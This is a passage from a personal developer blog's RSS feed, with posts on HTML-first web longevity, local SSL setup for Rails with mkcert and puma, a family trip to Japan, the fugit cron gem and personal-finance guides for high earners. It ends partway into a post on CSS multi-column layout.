  <title>No CSS, No Javascript. Longevity on the web.</title>
  <link>https://jch.github.io/posts/2025-09-18-no-css-no-js.html
</link>
  <guid>https://jch.github.io/posts/2025-09-18-no-css-no-js.html
</guid>
  <pubDate>Thu, 18 Sep 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Remember <a href="https://csszengarden.com" rel="nofollow">CSS Zen Garden</a>? It started out as a site to allow designers to showcase how semantics (HTML) and visual design (CSS) can be separated. I remember being blown away by the early designs, but then being disappointed by the mess of relative and absolute positioning.</p>
<p>Remember <a href="https://jquery.com" rel="nofollow">jQuery</a>? The interface was so simple, and it proliferated so many plugins that followed a similar design. These were the early polyfills for the modern web platform we know today.</p>
<p>I've switched operating systems, hardware architectures, desktops, laptops, and phones. Somehow, through all of that, a website written 20 years ago still works today. Other than retro-nostalgic emulation, is that true for anything else?</p>
<p>Herman has written a great post on <a href="https://herman.bearblog.dev/building-software-to-last-forever/" rel="nofollow">Building software to last forever</a>. As I develop my financial independence <a href="https://jch.app" rel="nofollow">jch.app</a>, I'm thinking how I'll make it last forever.</p>
<div class="markdown-heading"><h2 class="heading-element">HTML First</h2><a id="user-content-html-first" class="anchor" aria-label="Permalink: HTML First" href="#html-first"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I start with the semantics and affordances of a design with unstyled HTML first. Think text, links, forms, and buttons.</p>
<p>I target <a href="https://web.dev/baseline" rel="nofollow">Web Platform Baseline</a> and use MDN daily as a resource. Practically, I develop with Safari and Safari iOS because they tend to be the lowest common denominator, and I'm in that ecosystem.</p>
<div class="markdown-heading"><h2 class="heading-element">CSS Next</h2><a id="user-content-css-next" class="anchor" aria-label="Permalink: CSS Next" href="#css-next"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Then I enter my CSS Zen Garden phase. Thankfully, with grid, flexbox, and multi-col layouts in baseline, there are many more tools available than the early days of the web. There's also room for some delightful flourishes with color and animations.</p>
<p>I use tailwind because it lets me prototype quickly. A dependency isn't detrimental to longevity if it lives close to a standard, and doesn't lock into the vendor. I could easily switch back to BEM-style naming and CSS.</p>
<div class="markdown-heading"><h2 class="heading-element">Finally, Javascript</h2><a id="user-content-finally-javascript" class="anchor" aria-label="Permalink: Finally, Javascript" href="#finally-javascript"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>If I stopped now, the app should be fully usable and aesthetically pleasing. I sprinkle on Javascript for the final bit of polish. For example, I recently added drag and drop reordering. Initially, I did this with the baseline Drag and Drop API, but found it clunky on touch devices. Much like how jQuery would polyfill capabilities that weren't quite ready for primetime, I add js dependencies sparingly for the same reason.</p>
<p>I use <code>&lt;noscript&gt;</code> wherever I enhance components, and also a <code>.no-js</code> CSS class defined within <code>noscript</code> to help hide UI as needed.</p>
<div class="markdown-heading"><h2 class="heading-element">Try it out</h2><a id="user-content-try-it-out" class="anchor" aria-label="Permalink: Try it out" href="#try-it-out"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Try turning off CSS and Javascript when visiting <a href="https://jch.app" rel="nofollow">jch.app</a>. The default browser styles remind me of Craigslist in a good way. The site works as intended. Turn on CSS. It's a big jump in layout and the experience, but the semantics between pages and functionality stay the same. Finally, turn on javascript. These changes are subtle. Service workers add device-specific native features like push notifications and icons. View transitions adds an extra bit of silkiness to the experience.</p>
<div class="markdown-heading"><h2 class="heading-element">Longevity elsewhere</h2><a id="user-content-longevity-elsewhere" class="anchor" aria-label="Permalink: Longevity elsewhere" href="#longevity-elsewhere"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I've written about self-hosting jch.app on old hardware. There isn't an infrastructure equivalent of "baseline", but "unix-y" comes close.</p>
  ]]></description>
</item>

<item>
  <title>SSL for local Rails development</title>
  <link>https://jch.github.io/posts/2025-09-02-rails-localhost-ssl.html
</link>
  <guid>https://jch.github.io/posts/2025-09-02-rails-localhost-ssl.html
</guid>
  <pubDate>Tue, 02 Sep 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<ul>
<li>Works with <a href="https://localhost:3000" rel="nofollow">https://localhost:3000</a> or <a href="https://custom-hostname.local" rel="nofollow">https://custom-hostname.local</a>
</li>
<li>No insecure site warning because certificated is signed by a system trusted CA</li>
</ul>
<p>My goal was to test <a href="https://jch.app" rel="nofollow">jch.app</a> serviceworkers
with different devices on the same network. While localhost is an exception allowed for serviceworkers,
all other origins require a no-warning https connection. This meant the certificate
must be signed with a system trusted CA.</p>
<p>Fortunately, <code>mkcert</code> does exactly that. Some additional fiddling was
needed to configure <code>puma</code> with command line options to reference the certs
and listen for SSL connections. No additional gems,
or configuration changes were necessary. Tested on macOS 15.6.1,
puma 6.6.0, mkcert 1.4.4, and rails 8.0.2.</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#</span> Run from rails root</span>
<span class="pl-c"><span class="pl-c">#</span> Create locally trusted certificate https://github.com/FiloSottile/mkcert</span>
$ mkcert -install

<span class="pl-c"><span class="pl-c">#</span> Used `sudo scutil --set LocalHostName` to set local hostname to `roboplan.local`</span>
$ mkcert roboplan.local <span class="pl-s"><span class="pl-pds">"</span>*.roboplan.local<span class="pl-pds">"</span></span> roboplan.local localhost 127.0.0.1 ::1

<span class="pl-c"><span class="pl-c">#</span> Rename to avoid shell escaping later</span>
$ mkdir -p config/certs
$ mv roboplan.local+5-key.pem config/certs/roboplan.local-key.pem
$ mv roboplan.local+5.pem config/certs/roboplan.local.pem

<span class="pl-c"><span class="pl-c">#</span> Added in bin/dev</span>
$ bin/rails server -b <span class="pl-s"><span class="pl-pds">'</span>ssl://0.0.0.0?key=config/certs/roboplan.local-key.pem&amp;cert=config/certs/roboplan.local.pem<span class="pl-pds">'</span></span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Details</h2><a id="user-content-details" class="anchor" aria-label="Permalink: Details" href="#details"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Puma and Falcon support self-signed certificates with <code>localhost</code> gem, but
the defaults did not add a system trusted CA causing certificate warnings
that made serviceworkers unavailable.</p>
<p>Additional notes:</p>
<ul>
<li>
<code>mkcert</code> is a cross platform tool to install a system trusted CA, and use that to sign certs that won't give the insecure warning</li>
<li>Rails will require <code>localhost</code> the development env without an explicit require</li>
<li>
<code>puma</code> reads from <code>config/puma/development.rb</code>, but does not evaluate the global <code>config/puma.rb</code>
</li>
<li>
<code>localhost</code> setup uses <code>bake localhost:install</code>, but does not list <code>bake</code> as a dependency</li>
<li>
<code>puma</code> config <code>ssl_bind</code> still requires starting puma or rails server with <code>-b 'ssl://localhost:9292'</code> to handle SSL. Because of this, I preferred keeping all the config in one place as a CLI flag.</li>
<li>
<code>puma</code> docs start server with <code>puma</code>, but this loses the logging defaults I prefer with <code>rails server</code>
</li>
<li>
<code>bin/setup</code> updated with <code>mkcert</code> steps for repeatability</li>
<li>development certificates added to gitignore since they'll be specific to each host</li>
</ul>
<blockquote>
<p>Service workers are only available in secure contexts: this means that their document is served over HTTPS, although browsers also treat <a href="http://localhost" rel="nofollow">http://localhost</a> as a secure context, to facilitate local development. <a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API" rel="nofollow">MDN Service Worker API</a></p>
</blockquote>
<div class="markdown-heading"><h2 class="heading-element">Sources</h2><a id="user-content-sources" class="anchor" aria-label="Permalink: Sources" href="#sources"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li><a href="https://github.com/FiloSottile/mkcert">https://github.com/FiloSottile/mkcert</a></li>
<li>
<a href="https://github.com/puma/puma/blob/6-6-stable/README.md#self-signed-ssl-certificates-via-the-localhost-gem-for-development-use">https://github.com/puma/puma/blob/6-6-stable/README.md#self-signed-ssl-certificates-via-the-localhost-gem-for-development-use</a> puma localhost documentation</li>
<li>
<a href="https://github.com/puma/puma/releases/tag/v5.6.0">https://github.com/puma/puma/releases/tag/v5.6.0</a> Support localhost integration in ssl_bind</li>
<li>
<a href="https://github.com/puma/puma/releases/tag/v5.5.0">https://github.com/puma/puma/releases/tag/v5.5.0</a> new integration with the localhost gem</li>
<li>
<a href="https://github.com/basecamp/thruster/pull/40">https://github.com/basecamp/thruster/pull/40</a> TLS_LOCAL support is promising, but also fine to leave thruster focused on production</li>
<li>
<a href="https://gist.github.com/chaffeqa/d6c6ac491d3e1824a2980607d796e4a8">https://gist.github.com/chaffeqa/d6c6ac491d3e1824a2980607d796e4a8</a> creates cert dynamically in config/puma.rb and installs to system across platforms. This had the <code>ssl_bind</code> config, but was missing the <code>-b ssl://0.0.0.0:3001</code>. I found mkcert first, but this implementation may be easier to use with <code>bin/setup</code> and version control.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API</a></li>
</ul>
  ]]></description>
</item>

<item>
  <title>Japan 2025</title>
  <link>https://jch.github.io/posts/2025-08-21-japan.html
</link>
  <guid>https://jch.github.io/posts/2025-08-21-japan.html
</guid>
  <pubDate>Thu, 21 Aug 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>This was our first trip to Japan. Max was 10 years old and Stella was 5. August was hot and humid (26c/80f), but we were lucky and arrived a week after a heat advisory. Occasional showers helped with temperatures and our kids enjoyed splashing around. The highlight of the trip was having Big Max and Rin show us around Tokyo. Stella now calls them “our Japanese best friends”.</p>
<p>I enjoyed all of the food, except for one ramen place in Osaka and a weird deep fried tuna ball thing. Instead of online reviews, I preferred finding a dense street of restaurants and wandering around. Train stations and malls were good ways to escape the heat, eat, and rest. We didn’t do omakase because the kids were too young, but conveyor belt sushi was delicious, fun, and very affordable. Though breakfast came included in two of our stays, we preferred trying out different onigiri’s and pastries from 7-11, Lawsons, and Family Marts. Breakfast, lunch, and dinners ran around ~1k yen, ~3-5k yen, and 5-9k yen respectively, with only a few meals being significantly more.</p>
<p>Apple Wallet supports Suica transit IC, under 6 is free, but I wish we bought a child card at the before leaving the airport because they validate age with a passport. Some JR Ticket Office (midori no madoguchi) can issue a card, but we didn’t carry our passports after the first day. The kids enjoyed figuring out transit routes and using coins to purchase tickets.</p>
<p>Shinkansen was spacious, quiet, and allowed food. We purchased an extra seat ($300 USD total) for Stella southbound, but it wasn’t necessary and caused us to be seated in different cars. Northbound we bought 3 tickets ($250 USD), which kept us in the same row. The JR pass didn’t make sense for two stops. While we did get snacks for the ride, I was jealous of the luxurious ekiben our neighbors had.</p>
<div class="markdown-heading"><h2 class="heading-element">Osaka</h2><a id="user-content-osaka" class="anchor" aria-label="Permalink: Osaka" href="#osaka"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>August 5, 2025</p>
<p>Comfort Self Hotel HACHI-EMON</p>
<p>We loved the tatami style room, which allowed us to jump around during the day, and have maximum bed space at night. The lobby downstairs has a vending machine, coffee, and a table to play cards. We arrived before check-in and stored our luggage in the lobby. Having the shower and toilet in separate rooms was convenient in the evenings. The small laundry was useful for humid days, and we air dried washed clothes on the shower rail. We used the small fridge, sink, and kettle in the kitchenette. Shoten-Dori was a walkable street right out front with several restaurants. Fukushima was the nearest JR stop.</p>
<p>We didn’t make it to Abeno Karukas (16th floor museum, tall sky scraper view), Tsutenkaku (neon lights tower), Mega Donki (big grocery store)</p>
<ul>
<li>Osaka Castle and Park</li>
<li>Cup Noodle Museum. Big hit with the kids</li>
<li>Osaka Garden City is an underground walk / mall that helped with the sun</li>
<li>Nipponbashi denden town. Not good during day, kind of grungy</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Kyoto</h2><a id="user-content-kyoto" class="anchor" aria-label="Permalink: Kyoto" href="#kyoto"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>August 7, 2025</p>
<p>Shizutetsu Hotel Prezio was a smaller western style hotel room. Compared with the apartment style inn, it felt more cramped because of the larger bathroom with a tub, and bed frames. 7-11 was right across the street.</p>
<ul>
<li>Fushimi Inari Taisha. Much cooler on the hike, lot of stairs, but vending machines and rest stops along the way. Everyone made the whole hike.</li>
<li>Arashiyama Bamboo Forest. We didn’t stay in the forest long. There’s a beautiful pond with lily pads. There were several paid gardens, but kids did not have patience for it. We didn’t try the ‘romance train’ leaving from the forest, but that could’ve been a good way to sit and rest. We also saw tourists on long shallow canoes.</li>
<li>Monkey preserve is walkable from bamboo forest. A steep hike up. Kids enjoyed feeding the monkeys. I wouldn’t make a separate trip for it, but it’s a good add-on to bamboo forest.</li>
<li>Samurai museum. Popular with kids, very touristy / kitschy</li>
</ul>
<p>We didn’t make it to Nintendo Museum (requires advance booking), Manga Museum, Museum of Kyoto, Nara Deer Park (though we did see one while feeding macaque monkeys).</p>
<div class="markdown-heading"><h2 class="heading-element">Tokyo</h2><a id="user-content-tokyo" class="anchor" aria-label="Permalink: Tokyo" href="#tokyo"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>August 10, 2025</p>
<p>We stayed at an Airbnb near Taichiaigawa station on the Keiyu line. While it was close to Haneda airport, and our friend’s place, we with we stayed with our friends to see them more, or chose a more central location in Tokyo. Our place felt cramped because of chairs with backs, a folding leaf table that was missing the piece that held up the leaf, and a too-large refridgerator. Once again, we found the laundry convenient. Wendy took a call on the balcony sitting on the AC one day, and another call in the hallway that could be closed into a room when it was too hot outside. There was an AEON market downstairs, and Taichiaigawa station had Lawson’s, Matsuya, and a take out sushi place.</p>
<p>Big Max and Rin came up with a great itinerary for us. They helped us book Ghibli Museum and TeamLab Planets in advance. They had great picks for vegetarian food too.</p>
<ul>
<li>Meiji Jingumae, Harajuku. Shrine, walking down a market street.</li>
<li>Kamakura beach town, big buddha, great to relax from city for a day</li>
<li>Ghibli museum. We watched Totoro in advance. Max said Spirited Away was too scary at 5. Fun for kids and adults, short film at the end.</li>
<li>TeamLab Planets. Water was my favorite. Pack more snacks or make lunch plans b/c ramen was expensive and only ok. Still cheap by US standards.</li>
<li>Asakusa, Senso-ji, Sky tree, kitchen street</li>
</ul>
<p>We didn’t make it to kitchen street, sky tree. Many more areas to explore in Tokyo.</p>
<div class="markdown-heading"><h2 class="heading-element">Tips</h2><a id="user-content-tips" class="anchor" aria-label="Permalink: Tips" href="#tips"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>Purchased Nomad e-sim ahead of trip, but easy to pick up airport.</li>
<li>No need to order currency ahead. Most accept Apple Pay, Suica. No-fee atm for rest.</li>
<li>Freeze a drink and store in backpack.</li>
<li>We brought backpack with water / snacks to cut down on trash, but easily could’ve done day trips without.</li>
<li>Don’t eat and walk.</li>
<li>No stroller made it easier to access sites, but wish I could’ve had a sling to carry Stella.</li>
<li>Bring a cloth for sweat and sticky faces and hands.</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Fugit gem: defining recurring tasks for background jobs</title>
  <link>https://jch.github.io/posts/2025-06-24-fugit-recurring-tasks.html
</link>
  <guid>https://jch.github.io/posts/2025-06-24-fugit-recurring-tasks.html
</guid>
  <pubDate>Tue, 24 Jun 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><a href="https://github.com/floraison/fugit">Fugit</a> parses cron syntax and various time and date strings. It is a dependency of solid_queue and good_job. I didn't notice it at first because I was using cron syntax directly for my <a href="https://jch.app" rel="nofollow">side project</a>.</p>
<p>Personally, I don't mind cron syntax, but it turns out fugit also supports time zones. I have some tasks that run on Eastern time based on the stock market. Previously, I had two separate cron entries for daylight savings time. But now, fugit simplifies it to <code>US/Eastern</code>.</p>
<p>The readme has a lot of other examples, but the fun one that stood out to me was <a href="https://github.com/floraison/fugit?tab=readme-ov-file#the-first-monday-of-the-month">"the first Monday of the month"</a>:</p>
<blockquote>
<p>Fugit tries to follow the man 5 crontab documentation.</p>
</blockquote>
<blockquote>
<p>There is a surprising thing about this canon, all the columns are joined by ANDs, except for monthday and weekday which are joined together by OR if they are both set (they are not *).</p>
</blockquote>
<blockquote>
<p>Many people (me included) are surprised when they try to specify "at 05:00 on the first Monday of the month" as 0 5 1-7 * 1 or 0 5 1-7 * mon and the results are off.</p>
</blockquote>
<blockquote>
<p>The man page says:</p>
</blockquote>
<blockquote>
<p>Note: The day of a command's execution can be specified by two fields -- day of month, and day of week. If both fields are restricted (ie, are not *), the command will be run when either field matches the current time. For example, ``30 4 1,15 * 5'' would cause a command to be run at 4:30 am on the 1st and 15th of each month, plus every Friday.
Fugit follows this specification.</p>
</blockquote>
<p>Anyways, thought I'd share this long-running stable and neat gem that's used by a lot of the popular ruby scheduling libs.</p>
<p><a href="https://www.reddit.com/r/ruby/comments/1ktrd7d/fugit_gem_defining_recurring_tasks_for_background/" rel="nofollow">r/rails</a></p>
  ]]></description>
</item>

<item>
  <title>HENRY's Guide to Taxes, Loans, and Cars</title>
  <link>https://jch.github.io/posts/2025-05-14-henrys-guide-taxes-loans-cars.html
</link>
  <guid>https://jch.github.io/posts/2025-05-14-henrys-guide-taxes-loans-cars.html
</guid>
  <pubDate>Wed, 14 May 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I shared my personal experiences with these personal finance topics with r/HENRYfinance. This brings them all together and links to the comments. HENRY stands for High Earner Not Rich Yet. I also keep notes about personal finance in <a href="https://github.com/jch/personal-finance">jch/personal-finance</a> and build a investment and spending tracker at <a href="https://jch.app" rel="nofollow">jch.app</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">HENRY's Car Buying Guide</h2><a id="user-content-henrys-car-buying-guide" class="anchor" aria-label="Permalink: HENRY's Car Buying Guide" href="#henrys-car-buying-guide"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I love cars, and have seen a few posts and comments in this sub. Thought I’d share my experiences as a car enthusiast with specific advice for HENRY’s. I have no qualifications in this area, just a guy who thinks about cars and money too much. I’m sure others have smarter ways of doing this, but this is what’s worked for me.</p>
<p><strong>Should I buy one now?</strong></p>
<p>Short answer: No, wait till summer.</p>
<p>Long answer: The pandemic, global supply chain shortages, increased interest rates, and decreased used inventory are all working against the buyer right now. The average new car transaction price peaked in November 2022 at $48k. Supply chain shortages means longer waits or custom orders, or missing features like auto start-stop (a hidden blessing imo).</p>
<p>My experience: I bought a 2022 Jeep Wrangler Willys Sport 4dr last year. I ordered it in April and took delivery in July at MSRP ($40k). It was much more expensive than a year ago when discounts were everywhere, but cheaper than the increased MSRP this year. I had never custom ordered a car before, but getting exactly the trim and color I want (and nothing extra) was a great experience. Everything was done over email until I went in to take delivery. No haggling, no BS, just sign the paperwork and go.</p>
<p><strong>New vs Used</strong></p>
<p>Short answer: Yes.</p>
<p>Long answer: Conventional wisdom says you’ll spend less on a used car, but it’s a set of trade offs. For most high earners in good financial shape, here’s my reasons for choosing new:</p>
<pre><code>New cars have more safety features, both passive safety (stronger materials, more airbags) and active safety (blind spot monitoring, emergency brake). Saving money won’t matter if you’re seriously hurt. IIHS has safety ratings.

New cars have better financing. Manufacturers subsidize new car loans to make them affordable.

Yes, the depreciation curve is sharpest in the first year. But unless you’re constantly switching vehicles, the average is not bad. Edmunds Total Cost of Ownership calculator can give rough estimates over a 5 year span, Kelley Blue Book can give pricing on used cars and what you can expect to sell a used car for.
</code></pre>
<p>My experience: Growing up, the first car my family had was a $400 Toyota Corolla Tercel. I loved that car. My parents drove it from NY to CA. Dad taught me to drive stick in an empty parking lot. We drove it until it died, and gave it away to a family who fixed it up and drove it some more. Bang for the buck, I’ll never beat that car. I bought other used cars over the years, and bought my first new car after we had a kid. We’ve had the Mazda 6 for 9 trouble-free years now, and looking at my spreadsheet of costs, it’s been less than some used cars I’ve had in the past. There are old cars I love because of their character, but I’m talking about general transportation tools in this case.</p>
<p><strong>Buy vs Lease</strong></p>
<p>Short answer: Buy, unless there’s an amazing deal on a lease</p>
<p>Long answer: At the end of the day, you’re getting a car for a period of time and mileage for a sum of money. Leasing sets a cap on usage and guarantees you a depreciation cost up front. Buying offers more flexibility.</p>
<p>My experience: I’ve only bought cars, but I’m open to leasing. We don’t commute with cars, so we typically use fewer miles. Fiat 500e for $80/month was a great deal, but we couldn’t fit car seats.</p>
<pre><code>Sometimes it makes sense to lease even if you intend to finance at the end of the lease. When we bought our Mazda in september, we opted to lease because interest rate on the lease (0.29%) was much lower than finance (3-3.5%). So effectively leasing is paying a lower interest rate for three years, then having some option value -Any-Panda2219
</code></pre>
<p><strong>Cash or finance</strong></p>
<p>Short answer: Finance</p>
<p>Long answer: Doug Demuro explains this better than I can. On the finance side, it’s good for building up credit, and if you have good credit, you’ll get good rates. Interest rates that are below expected equity return rates also means you’ll have more time in the market. It’ll also smooth out your cash flows.</p>
<p>My experience: I regret not taking 0.9% financing on my Mazda. At that point in my life, I was aiming for “no debt”, even if debt is a good value (I can write more about using debt effectively if there’s interest in a separate post, lots of options open up for HENRYs). For the Jeep, I paid $5k on my credit card that gave me 2.6% cashback and financed the rest with a 2.25% interest-only personal loan. I paid the $5k off immediately with the loan, and kept the cash value of the car in a savings fund yielding 4.3%.</p>
<p><strong>TL;DR</strong></p>
<p>Cars are expensive. Cars can be basic tools, or they can be passionate hobbies. I used to feel a lot of guilt when spending on cars, but after looking at my history, I realize the joy it brings me is worth the money.</p>
<p><a href="https://www.reddit.com/r/HENRYfinance/comments/1127xrd/henrys_car_buying_guide/" rel="nofollow">comments</a></p>
<div class="markdown-heading"><h2 class="heading-element">HENRYs Guide to Loans</h2><a id="user-content-henrys-guide-to-loans" class="anchor" aria-label="Permalink: HENRYs Guide to Loans" href="#henrys-guide-to-loans"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><strong>When to use debt</strong></p>
<p>My parents viewed debt as a bad thing. The only form of debt they used was a home mortgage, and that was out of necessity. I started with this view initially, but slowly realized that debt is just a tool. There’s good debt that gives you more opportunities, and there’s bad debt that drags you down. This is a pragmatic guide on what debt options are available to HENRY’s and leave it up to you to decide whether an opportunity is worth financing or not.</p>
<p><strong>Credit cards</strong></p>
<p>Good: Rewards
Bad: Everything else</p>
<p>I have all my credit cards on autopay. I don’t see them as an effective financing tool because of the high interest rates.</p>
<p><strong>Personal loans / Credit Unions</strong></p>
<p>Good: consolidating debt with higher interest rates</p>
<p>These are unsecured loans that typically have higher interest rates than secured loans, but much less than credit cards.</p>
<p>My experience: I used a 2.25% interest-only loan to buy a car.</p>
<p><strong>401k Loans</strong></p>
<p>Good: Borrow against your 401k, pay yourself back the interest, fast turn around
Neutral: plan specific amounts, mine was the lessor of 50% of 401k balance or 50k.
Bad: Entire balance due on employment termination.</p>
<p>I’m not sure how common this feature is, but I had it in my last Fidelity 401k. It cost $100 to setup, and funds are ready within 7 days. I didn’t end up using it, but I liked that it was a very liquid and fast option that didn’t require a heavy underwriting process. Note that this is not the same as a hardship distribution. You’re borrowing from your 401k, and making payments back into your 401k. The interest rate you pay also goes back to yourself.</p>
<p><strong>Pledged Asset Lines</strong></p>
<p>Good: Borrow against your portfolio
Neutral: interest-only or amortized options, fixed or variable rates
Bad: Beware margin calls during market downturns</p>
<p>These are basically margin loans, but with more attractive rates and terms depending on your relationship with your custodian and how much assets you have with them. Morgan Stanley had a product called Liquidity Access Line that allowed you to have a fixed rate.</p>
<p><strong>Mortgages / HELOCs</strong></p>
<p>Good: home buying, mortgage interest deduction</p>
<p>It pays to shop around. I liked using a mortgage broker because he found better rates than I could. I did not like using any of the mortgage quote sites. If you do use one, use a spam email or google voice account because they’ll spam you for a long time.</p>
<p>Specific to HENRY’s, work out how much the mortgage interest deduction and property taxes can save you on federal taxes.</p>
<p><strong>Rate discounts</strong></p>
<p>Look for discounts from having status at a particular bank. For example, Bank of America offers discounts on loan fees, HELOC’s, and auto loans based on how much assets you have with them.</p>
<p><strong>Credit Scores</strong></p>
<p>Having a good credit score helps you get better loan rates. I used to use CreditKarma for tracking scores, but noticed that banks include the scores now. Annual Credit Report is a terrible site, but is actually the official way to dispute any past credit issues, or put a credit freeze.</p>
<p><strong>TL;DR</strong></p>
<p>HENRY’s shouldn’t be afraid of debt. It’s a tool that helps you manage cash flow, and sometimes comes with tax benefits.</p>
<p><a href="https://www.reddit.com/r/HENRYfinance/comments/112zy7e/henrys_guide_to_loans/" rel="nofollow">comments</a></p>
<div class="markdown-heading"><h2 class="heading-element">HENRYs Guide to Taxes</h2><a id="user-content-henrys-guide-to-taxes" class="anchor" aria-label="Permalink: HENRYs Guide to Taxes" href="#henrys-guide-to-taxes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The High Earning part of HENRY’s benefits from minimizing taxes. I am not a tax professional (though I’ve considered taking the EA tests and becoming one for friends). I’m sure there are smarter people out there with better strategies, and different situations. This is just what’s worked for me over the years.</p>
<p><strong>Tax advantaged retirement accounts</strong></p>
<p>Short version: Max out contributions to all tax advantaged accounts before starting a brokerage account.</p>
<p>The IRS has a great overview of the <a href="https://www.irs.gov/pub/irs-pdf/p4484.pdf" rel="nofollow">types of retirement plans</a>. Even in plans without matching, long vesting periods, or high fees, I’ve found the instant tax savings and additional contributions justifies the cost, especially if you’re in a high income tax state on top of high federal taxes. <a href="https://www.bogleheads.org/wiki/Tax-efficient_fund_placement" rel="nofollow">Tax efficient fund placement is also a good read</a>.</p>
<p><strong>Traditional vs Roth</strong></p>
<p>Short version: Contribute to traditional plans at 22% marginal tax rate and above, Roth otherwise.</p>
<p>The <a href="https://www.reddit.com/r/personalfinance/wiki/rothortraditional/" rel="nofollow">r/personalfinance wiki has a great page on traditional vs roth</a>. Both are great options. I built a spreadsheet and <a href="https://www.reddit.com/r/personalfinance/comments/2jqnjy/can_we_talk_about_the_misconceptions_people_have/" rel="nofollow">so have many others</a>, but there are enough variables that it’s more important to be headed in the right direction, than to be precisely right (impossible b/c unknown future rates). My “a-ha moment” was realizing that traditional accounts gets you tax savings at your highest <strong>marginal tax rate</strong>, and you start paying taxes from your <strong>lowest tax bracket</strong> progressively.</p>
<p><strong>Health savings account HSA</strong></p>
<p>Short version: Max it out</p>
<p>I was on the fence about HSA’s for 2 reasons.</p>
<ol>
<li>I was worried I would contribute too much, and not have enough medical expenses to use it up.</li>
<li>I was worried about keeping track of receipts for reimbursements.</li>
</ol>
<p>For both these points, if I don’t use it all for medical expenses, after age 65, I can take distributions out and pay tax on it. Even if I take distributions out before 65 and take the 20% penalty, there’ll be decades of compounding growth for a one time 20% penalty. For example, $100 invested at 5% annual compounding will give you $128 on the 5th year. If you take a 20% penalty ($128 * 0.20 = $25.6), you’re still breaking even. Over long timelines, and higher returns, I don’t worry about the 20% penalty. If I don’t withdraw till 65+, it’s a non-issue. Fidelity has even more details and benefits <a href="https://www.fidelity.com/viewpoints/wealth-management/hsas-and-your-retirement" rel="nofollow">in their guide</a>. I also rolled over my old HSA’s into Fidelity because they don’t charge fees, and the have great investment options.</p>
<p><strong>529 College Savings</strong></p>
<p>Short version: Yes if you have kids</p>
<p>Similar thinking as HSA. No immediate tax savings, but savings on distribution. If I overcontribute, the penalty won’t be that bad after 18 years of growth.</p>
<p><strong>Required minimum distributions RMDs</strong></p>
<p>Short version: Don’t worry about it until you stop being a high earner</p>
<p>If our income taxes decrease, that’s when we’ll roll over traditional accounts to Roth. There’s also no guarantee RMD rules won’t change in the future.</p>
<p><strong>Backdoor contributions</strong></p>
<p>Short version: Yes, do backdoor roth IRA, and mega backdoor 401k if available</p>
<p><strong>Donor advised funds DAF</strong></p>
<p>Short version: Use them to smooth out high tax years</p>
<p>Again, I like <a href="https://www.fidelitycharitable.org/guidance/philanthropy/what-is-a-donor-advised-fund.html" rel="nofollow">Fidelity’s guide</a> and their account. I used DAF’s to gift appreciated stock on a high income year. It’s a tool to help control which years you want to take a tax deduction on charitable giving.</p>
<p><strong>Tax loss harvesting TLH</strong></p>
<p>Short version: Yes, but it doesn’t save as much as you think</p>
<p><a href="https://www.kitces.com/blog/automated-tax-loss-harvesting-technology-software-value-risks-gaps-benefits/" rel="nofollow">Kitces has a good explanation that covers the actual value of tax loss harvesting</a>. I learned how to do it by signing up for a robo-advisor and observing it for a year. After a year, I decided to manage it myself and skip the fee. I don’t think robo-advisors charge too much, but the assets under management pricing model doesn’t make sense for TLH. When talking about broad ETFs, they become less likely to have losses over time. However, you’re going to pay for all assets under management. I use <a href="https://jch.app?s=ht" rel="nofollow">jch.app</a> to track holdings and also as a rebalance tool.</p>
<p><strong>Real estate</strong></p>
<p>I don't have experience in real estate other than itemizing taxes and claiming depreciation and property taxes. I'm aware of 1031 exchanges, qualified opportunity zones, but don't have personal experience. I'll update this section if there's good info from the comments.</p>
<p><strong>TL;DR</strong></p>
<p>A good piece of advice my friend gave me: “Taxes shouldn’t be the primary reason for you doing something, but it’s good to be aware of it”. How this works in practice is I have my primary objective: buy a home, invest for retirement, and then decide how taxes play into it.</p>
<p>DM me other HENRY topics you’re interested in?</p>
<p>Bonus: for anyone who’s interested in tax policy, I loved “A Fine Mess: A Global Quest for a Simpler, Fairer, and More Efficient Tax System” by T.R. Reid. It’s a fun read, and I liked it’s survey of different tax systems, and the concept of “broad base, low rates”.</p>
<p><a href="https://www.reddit.com/r/HENRYfinance/comments/113rxge/henrys_guide_to_taxes/" rel="nofollow">comments</a></p>
  ]]></description>
</item>

<item>
  <title>CSS Fragmentation issues with multi column</title>
  <link>https://jch.github.io/posts/2025-05-08-css-multi-column-issues.html
</link>
  <guid>https://jch.github.io/posts/2025-05-08-css-multi-column-issues.html
</guid>
  <pubDate>Thu, 08 May 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>After reading <a href="https://www.smashingmagazine.com/2019/01/css-multiple-column-layout-multicol/" rel="nofollow">When and How to Use CSS Multi-Column Layout</a>, I tried to use it for a masonry layout for the <a href="https://jch.app" rel="nofollow">jch.app</a> dashboard.</p>
